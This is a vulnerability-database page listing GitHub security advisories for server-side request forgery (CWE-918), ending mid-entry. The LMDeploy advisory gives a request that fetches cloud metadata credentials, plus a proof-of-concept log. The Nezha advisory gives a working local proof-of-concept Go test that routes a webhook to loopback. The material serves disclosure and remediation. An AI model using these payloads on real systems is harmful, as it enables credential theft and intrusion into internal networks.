Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4719 vulnerabilities reference this CWE, most recent first.

GHSA-6VJ9-H2J2-WMPR

Vulnerability from github – Published: 2025-08-07 21:31 – Updated: 2025-08-07 21:31
VLAI
Details

Azure OpenAI Elevation of Privilege Vulnerability

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-53767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-07T21:15:28Z",
    "severity": "CRITICAL"
  },
  "details": "Azure OpenAI Elevation of Privilege Vulnerability",
  "id": "GHSA-6vj9-h2j2-wmpr",
  "modified": "2025-08-07T21:31:08Z",
  "published": "2025-08-07T21:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53767"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53767"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6W29-398V-27RJ

Vulnerability from github – Published: 2025-03-12 09:30 – Updated: 2025-04-02 15:31
VLAI
Details

The Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.2 via the 'call_webhook' method of the Automator_Send_Webhook class This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
5.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-13838"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-12T07:15:36Z",
    "severity": "MODERATE"
  },
  "details": "The Uncanny Automator \u2013 Easy Automation, Integration, Webhooks \u0026 Workflow Builder Plugin plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.2 via the \u0027call_webhook\u0027 method of the Automator_Send_Webhook class This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-6w29-398v-27rj",
  "modified": "2025-04-02T15:31:11Z",
  "published": "2025-03-12T09:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13838"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3249921/uncanny-automator/trunk/src/core/lib/webhooks/class-automator-send-webhook.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/29eeac86-6b33-49e6-a7e1-c80dee383d6f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6W53-8MCC-FQQH

Vulnerability from github – Published: 2026-06-01 21:30 – Updated: 2026-06-01 21:30
VLAI
Details

A security flaw has been discovered in horizon921 mcpilot 0.1.0. The impacted element is an unknown function of the file client/src/app/api/mcp/call/route.ts of the component MCP API Call Endpoint. The manipulation of the argument serverBaseUrl results in server-side request forgery. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-10280"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-01T19:16:20Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in horizon921 mcpilot 0.1.0. The impacted element is an unknown function of the file client/src/app/api/mcp/call/route.ts of the component MCP API Call Endpoint. The manipulation of the argument serverBaseUrl results in server-side request forgery. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-6w53-8mcc-fqqh",
  "modified": "2026-06-01T21:30:42Z",
  "published": "2026-06-01T21:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10280"
    },
    {
      "type": "WEB",
      "url": "https://github.com/horizon921/mcpilot/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/horizon921/mcpilot"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-10280"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/825426"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/367573"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/367573/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6W67-HWM5-92MQ

Vulnerability from github – Published: 2026-04-21 15:04 – Updated: 2026-04-21 15:04
VLAI
Summary
LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

  • Tested on: main branch (2026-02-04)
  • Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

  1. No validation of URLs before fetching
  2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
  3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
  4. API keys disabled by default

Attack Scenario

  1. LMDeploy server deployed with vision-language model
  2. Attacker sends request to /v1/chat/completions with malicious image_url:
POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}
  1. Server fetches URL without validation
  2. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

  • Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
  • Internal Service Access: Reach services not exposed to internet
  • Information Disclosure: Port scan internal networks
  • Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33626"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T15:04:13Z",
    "nvd_published_at": "2026-04-20T21:16:35Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy\u0027s vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.\n\n## Affected Versions\n\n- **Tested on:** main branch (2026-02-04)\n- **Affected:** All versions prior to 0.12.3\n\n## Vulnerable Code\n\n**File:** `lmdeploy/vl/utils.py` (lines 64-67)\n```python\ndef load_image(image_url: Union[str, Image.Image]) -\u003e Image.Image:\n    # ...\n    if image_url.startswith(\u0027http\u0027):\n        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)\n        # NO VALIDATION OF URL/IP BEFORE REQUEST\n```\n\n**Also affected:** `encode_image_base64()` function (lines 26-29)\n\n## Root Cause\n\n1. No validation of URLs before fetching\n2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)\n3. Server binds to `0.0.0.0` by default (api_server.py line 1393)\n4. API keys disabled by default\n\n## Attack Scenario\n\n1. LMDeploy server deployed with vision-language model\n2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`:\n```python\nPOST /v1/chat/completions\n{\n  \"model\": \"internlm-xcomposer2\",\n  \"messages\": [{\n    \"role\": \"user\", \n    \"content\": [\n      {\"type\": \"text\", \"text\": \"Describe this image\"},\n      {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}}\n    ]\n  }]\n}\n```\n\n3. Server fetches URL without validation\n4. Attacker receives cloud credentials\n\n## Proof of Concept\n\n### Verified Exploitation Result\n```\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551  LMDeploy SSRF Vulnerability - Proof of Concept                       \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\n[1] Starting callback server on port 8889...\n[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n[3] Calling vulnerable load_image() function...\n\n======================================================================\n[+] SSRF CALLBACK RECEIVED!\n======================================================================\n    Time:       2026-02-04 16:10:57\n    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n    Client:     127.0.0.1:51154\n    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\n======================================================================\n\n\u2705 SSRF VULNERABILITY CONFIRMED!\n```\n\n## Impact\n\n- **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs\n- **Internal Service Access:** Reach services not exposed to internet  \n- **Information Disclosure:** Port scan internal networks\n- **Lateral Movement:** Pivot point for further attacks\n\n## Recommended Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),\n    ipaddress.ip_network(\u002710.0.0.0/8\u0027),\n    ipaddress.ip_network(\u0027172.16.0.0/12\u0027),\n    ipaddress.ip_network(\u0027192.168.0.0/16\u0027),\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),\n]\n\ndef is_safe_url(url: str) -\u003e bool:\n    try:\n        parsed = urlparse(url)\n        if parsed.scheme not in (\u0027http\u0027, \u0027https\u0027):\n            return False\n        ip = socket.gethostbyname(parsed.hostname)\n        ip_addr = ipaddress.ip_address(ip)\n        return not any(ip_addr in network for network in BLOCKED_NETWORKS)\n    except:\n        return False\n```\n\n---\n\n## Credit\n\nThis vulnerability was discovered as part of Orca Security\u0027s research.\n\n**Researcher:** Igor Stepansky  \n**Organization:** Orca Security  \n**Emails:** \nigor.stepansky@orca.security  \niggy.p0pi@orca.security",
  "id": "GHSA-6w67-hwm5-92mq",
  "modified": "2026-04-21T15:04:13Z",
  "published": "2026-04-21T15:04:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33626"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/pull/4447"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading"
}

GHSA-6WGJ-66M2-XXP2

Vulnerability from github – Published: 2023-11-28 09:30 – Updated: 2025-12-20 05:01
VLAI
Summary
Ray has arbitrary code execution via jobs submission API
Details

Anyscale Ray allows a remote attacker to execute arbitrary code via the job submission API. NOTE: the vendor's position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ray"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.49.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-48022"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-30T18:19:55Z",
    "nvd_published_at": "2023-11-28T08:15:06Z",
    "severity": "CRITICAL"
  },
  "details": "Anyscale Ray allows a remote attacker to execute arbitrary code via the job submission API. NOTE: the vendor\u0027s position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment.",
  "id": "GHSA-6wgj-66m2-xxp2",
  "modified": "2025-12-20T05:01:40Z",
  "published": "2023-11-28T09:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48022"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/commit/978947083b1e192dba61ef653c863b11d56b0936"
    },
    {
      "type": "WEB",
      "url": "https://atlas.mitre.org/studies/AML.CS0023"
    },
    {
      "type": "WEB",
      "url": "https://bishopfox.com/blog/ray-versions-2-6-3-2-8-0"
    },
    {
      "type": "WEB",
      "url": "https://console.vulncheck.com/cve/CVE-2023-48022"
    },
    {
      "type": "WEB",
      "url": "https://docs.ray.io/en/latest/ray-security/index.html"
    },
    {
      "type": "WEB",
      "url": "https://docs.ray.io/en/latest/ray-security/token-auth.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-xg2h-7cxj-3gvh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honysyang/Ray"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ray-project/ray"
    },
    {
      "type": "WEB",
      "url": "https://www.anyscale.com/blog/update-on-ray-cve-2023-48022-new-verification-tooling-available"
    },
    {
      "type": "WEB",
      "url": "https://www.oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wild"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/shadowray-cve-2023-48022-exploit"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/the-story-of-shadowray-cve-2023-48022"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/blog/initial-access-intelligence-august-2024"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ray has arbitrary code execution via jobs submission API"
}

GHSA-6X26-5727-RRM9

Vulnerability from github – Published: 2026-05-29 22:10 – Updated: 2026-06-26 21:28
VLAI
Summary
Nezha's authenticated DDNS webhook configuration allows blind SSRF from the dashboard host
Details

Summary

An authenticated Nezha dashboard user can create or update a DDNS profile with provider webhook and configure an arbitrary webhook_url, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with utils.HttpClient without the SSRF protections used by notification webhooks.

This allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not returned to the attacker in the confirmed path, so this is a blind SSRF / internal state-changing request primitive.

Details

The DDNS API is available to authenticated users, not only administrators:

  • cmd/dashboard/controller/controller.go:137 registers GET /api/v1/ddns.
  • cmd/dashboard/controller/controller.go:139 registers POST /api/v1/ddns.
  • cmd/dashboard/controller/controller.go:140 registers PATCH /api/v1/ddns/:id.

The create and update handlers copy attacker-controlled webhook fields directly from JSON request bodies into model.DDNSProfile:

  • cmd/dashboard/controller/ddns.go:47-74 accepts model.DDNSForm and stores WebhookURL, WebhookMethod, WebhookRequestType, WebhookRequestBody, and WebhookHeaders.
  • cmd/dashboard/controller/ddns.go:112-145 updates the same fields after profile ownership is checked.
  • model/ddns_api.go:11-15 exposes these fields as JSON input.
  • model/ddns.go:28-33 stores these fields on the persisted profile.

Users can attach owned DDNS profiles to owned servers, and DDNS updates are triggered in common server update and agent IP-reporting paths:

  • cmd/dashboard/controller/server.go:63-83 checks DDNS profile ownership, then stores EnableDDNS, DDNSProfiles, and OverrideDDNSDomains on an owned server.
  • service/singleton/server.go:44-58 calls UpdateDDNS when a server with DDNS enabled is updated.
  • service/rpc/nezha.go:247-279 calls UpdateDDNS when an authenticated agent reports a changed IP.

The DDNS provider dispatcher instantiates the webhook provider when Provider == "webhook":

  • service/singleton/ddns.go:58-95, especially service/singleton/ddns.go:79-81.

The sink is the DDNS webhook provider:

  • pkg/ddns/webhook/webhook.go:49-65 prepares and sends the HTTP request with utils.HttpClient.Do(req).
  • pkg/ddns/webhook/webhook.go:85-100 formats and applies attacker-controlled headers.
  • pkg/ddns/webhook/webhook.go:91-92 creates the request with the configured method and URL.
  • pkg/ddns/webhook/webhook.go:117-134 parses the configured URL and only formats query parameters; it does not restrict scheme, host, IP range, or redirects.
  • pkg/ddns/webhook/webhook.go:137-158 builds attacker-controlled request bodies for POST/PATCH/PUT.

The project already contains SSRF defenses for notification webhooks, showing the expected mitigation pattern is absent from the DDNS webhook path:

  • model/notification.go:34-58 defines blocked private/reserved CIDRs.
  • model/notification.go:193-221 creates a notification HTTP client that resolves and pins a validated IP and disables redirects.
  • model/notification.go:229-263 only allows http/https, requires a hostname, resolves all addresses, and rejects disallowed IPs.
  • model/notification.go:265-276 rejects blocked ranges and non-global-unicast targets.

Equivalent validation was not found in pkg/ddns/webhook/webhook.go.

Safe local PoC

Environment:

  • Repository: https://github.com/nezhahq/nezha.git
  • Commit tested: 05e5da2535197fc223b79601d50eeea362dcf853
  • Tag at commit: v2.0.9
  • Module: github.com/nezhahq/nezha
  • Go version: go1.26.3 linux/amd64
  • Testing scope: local-only; loopback HTTP listener and fake local UDP DNS SOA server only.

A temporary same-package test was created and removed automatically after execution. It used a local httptest listener as the internal service and a local UDP DNS server that returned an SOA for example.com.. The test then executed the normal DDNS update pipeline with a webhook DDNS profile pointing at the loopback HTTP listener.

Command run:

tmp="pkg/ddns/ddns_ssrf_local_poc_test.go"; trap 'rm -f "$tmp"' EXIT; cat > "$tmp" <<'EOF'
package ddns

import (
    "context"
    "io"
    "net"
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/miekg/dns"
    "github.com/nezhahq/nezha/model"
    "github.com/nezhahq/nezha/pkg/ddns/webhook"
)

func TestLocalPoCDDNSUpdatePipelineReachesLoopback(t *testing.T) {
    hit := make(chan string, 1)
    httpSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        body, _ := io.ReadAll(r.Body)
        hit <- r.Method + " " + r.URL.Path + " " + r.Header.Get("X-Proof") + " " + string(body)
        w.WriteHeader(http.StatusNoContent)
    }))
    defer httpSrv.Close()

    dnsPacketConn, err := net.ListenPacket("udp", "127.0.0.1:0")
    if err != nil {
        t.Fatal(err)
    }
    dnsSrv := &dns.Server{PacketConn: dnsPacketConn, Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
        msg := new(dns.Msg)
        msg.SetReply(r)
        if len(r.Question) > 0 && r.Question[0].Qtype == dns.TypeSOA {
            msg.Answer = append(msg.Answer, &dns.SOA{
                Hdr:     dns.RR_Header{Name: "example.com.", Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 60},
                Ns:      "ns.example.com.",
                Mbox:    "hostmaster.example.com.",
                Serial:  1,
                Refresh: 60,
                Retry:   60,
                Expire:  60,
                Minttl:  60,
            })
        }
        _ = w.WriteMsg(msg)
    })}
    go func() { _ = dnsSrv.ActivateAndServe() }()
    defer dnsSrv.Shutdown()

    enableIPv4 := true
    enableIPv6 := false
    profile := &model.DDNSProfile{
        EnableIPv4:         &enableIPv4,
        EnableIPv6:         &enableIPv6,
        MaxRetries:         1,
        Domains:            []string{"host.example.com"},
        Provider:           model.ProviderWebHook,
        WebhookURL:         httpSrv.URL + "/internal",
        WebhookMethod:      2,
        WebhookRequestType: 1,
        WebhookRequestBody: `{"ip":"#ip#","domain":"#domain#","type":"#type#"}`,
        WebhookHeaders:     `{"X-Proof":"nezha-ddns-pipeline-ssrf"}`,
    }
    provider := &Provider{
        DDNSProfile: profile,
        IPAddrs:     &model.IP{IPv4Addr: "203.0.113.10"},
        Setter:      &webhook.Provider{DDNSProfile: profile},
    }

    ctx := context.WithValue(context.Background(), DNSServerKey{}, []string{dnsPacketConn.LocalAddr().String()})
    if err := provider.updateDomain(ctx, "host.example.com"); err != nil {
        t.Fatalf("updateDomain returned error: %v", err)
    }

    select {
    case got := <-hit:
        t.Logf("observed loopback request through DDNS update pipeline: %s", got)
    default:
        t.Fatalf("expected loopback listener to receive DDNS webhook request")
    }
}
EOF
go test ./pkg/ddns -run TestLocalPoCDDNSUpdatePipelineReachesLoopback -v

Observed output:

=== RUN   TestLocalPoCDDNSUpdatePipelineReachesLoopback
    ddns_ssrf_local_poc_test.go:76: observed loopback request through DDNS update pipeline: POST /internal nezha-ddns-pipeline-ssrf {"ip":"203.0.113.10","domain":"host.example.com","type":"ipv4"}
--- PASS: TestLocalPoCDDNSUpdatePipelineReachesLoopback (0.00s)
PASS
ok      github.com/nezhahq/nezha/pkg/ddns   0.009s

A lower-level provider-only confirmation was also run with go test ./pkg/ddns/webhook -run TestLocalPoCDDNSWebhookReachesLoopback -v and observed:

observed loopback request: POST /internal nezha-ddns-ssrf {"ip":"203.0.113.10","domain":"host.example.com","type":"ipv4"}

Cleanup:

  • Both temporary PoC test files were removed by shell trap.
  • find . -path './.git' -prune -o \( -name 'ssrf_local_poc_test.go' -o -name 'ddns_ssrf_local_poc_test.go' \) -print returned no files.

Impact

An authenticated dashboard user can cause the Nezha dashboard process to send arbitrary HTTP requests to services reachable from the dashboard host, including loopback and private network targets. The confirmed path allows attacker-controlled method, URL path/query, headers, and request body.

Potential impacts depend on deployment and reachable internal services, but include:

  • Blind probing of internal HTTP services from the dashboard network location.
  • Triggering state-changing internal endpoints that trust localhost or private network origins.
  • Reaching services not exposed to the attacker directly.
  • Interaction with cloud metadata or control-plane endpoints if reachable and not otherwise protected.

The response body is not returned to the attacker in the confirmed code path, so this should not be described as direct arbitrary internal file/secret read without an additional response-disclosure primitive.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nezhahq/nezha"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.20.0"
            },
            {
              "fixed": "2.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/naiba/nezha"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47268"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:10:12Z",
    "nvd_published_at": "2026-06-12T22:16:51Z",
    "severity": "MODERATE"
  },
  "details": "#### Summary\n\nAn authenticated Nezha dashboard user can create or update a DDNS profile with provider `webhook` and configure an arbitrary `webhook_url`, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with `utils.HttpClient` without the SSRF protections used by notification webhooks.\n\nThis allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not returned to the attacker in the confirmed path, so this is a blind SSRF / internal state-changing request primitive.\n\n#### Details\n\nThe DDNS API is available to authenticated users, not only administrators:\n\n- `cmd/dashboard/controller/controller.go:137` registers `GET /api/v1/ddns`.\n- `cmd/dashboard/controller/controller.go:139` registers `POST /api/v1/ddns`.\n- `cmd/dashboard/controller/controller.go:140` registers `PATCH /api/v1/ddns/:id`.\n\nThe create and update handlers copy attacker-controlled webhook fields directly from JSON request bodies into `model.DDNSProfile`:\n\n- `cmd/dashboard/controller/ddns.go:47-74` accepts `model.DDNSForm` and stores `WebhookURL`, `WebhookMethod`, `WebhookRequestType`, `WebhookRequestBody`, and `WebhookHeaders`.\n- `cmd/dashboard/controller/ddns.go:112-145` updates the same fields after profile ownership is checked.\n- `model/ddns_api.go:11-15` exposes these fields as JSON input.\n- `model/ddns.go:28-33` stores these fields on the persisted profile.\n\nUsers can attach owned DDNS profiles to owned servers, and DDNS updates are triggered in common server update and agent IP-reporting paths:\n\n- `cmd/dashboard/controller/server.go:63-83` checks DDNS profile ownership, then stores `EnableDDNS`, `DDNSProfiles`, and `OverrideDDNSDomains` on an owned server.\n- `service/singleton/server.go:44-58` calls `UpdateDDNS` when a server with DDNS enabled is updated.\n- `service/rpc/nezha.go:247-279` calls `UpdateDDNS` when an authenticated agent reports a changed IP.\n\nThe DDNS provider dispatcher instantiates the webhook provider when `Provider == \"webhook\"`:\n\n- `service/singleton/ddns.go:58-95`, especially `service/singleton/ddns.go:79-81`.\n\nThe sink is the DDNS webhook provider:\n\n- `pkg/ddns/webhook/webhook.go:49-65` prepares and sends the HTTP request with 